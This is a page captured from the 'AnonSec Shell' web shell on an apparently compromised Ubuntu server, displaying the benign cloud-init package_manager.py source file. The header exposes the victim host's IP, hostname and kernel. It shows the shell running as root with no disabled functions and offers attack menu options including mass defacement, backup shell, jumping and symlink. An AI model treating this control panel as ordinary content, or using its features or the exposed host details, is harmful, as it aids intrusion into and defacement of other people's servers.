AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/distros/package_management/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/package_management//package_manager.py
# This file is part of cloud-init. See LICENSE file for license information.
from abc import ABC, abstractmethod
from typing import Iterable, List

from cloudinit import helpers

UninstalledPackages = List[str]


class PackageManager(ABC):
    name: str

    def __init__(self, runner: helpers.Runners, **kwargs):
        self.runner = runner

    @classmethod
    def from_config(cls, runner: helpers.Runners, cfg) -> "PackageManager":
        return cls(runner)

    @abstractmethod
    def available(self) -> bool:
        """Return if package manager is installed on system."""

    @abstractmethod
    def update_package_sources(self, *, force=False): ...

    @abstractmethod
    def install_packages(self, pkglist: Iterable) -> UninstalledPackages:
        """Install the given packages.

        Return a list of packages that failed to install.
        Overriding classes should NOT raise an exception if packages failed
        to install. Instead, log the error and return what couldn't be
        installed so other installed package managers may be attempted.
        """

Anon7 - 2022
AnonSec Team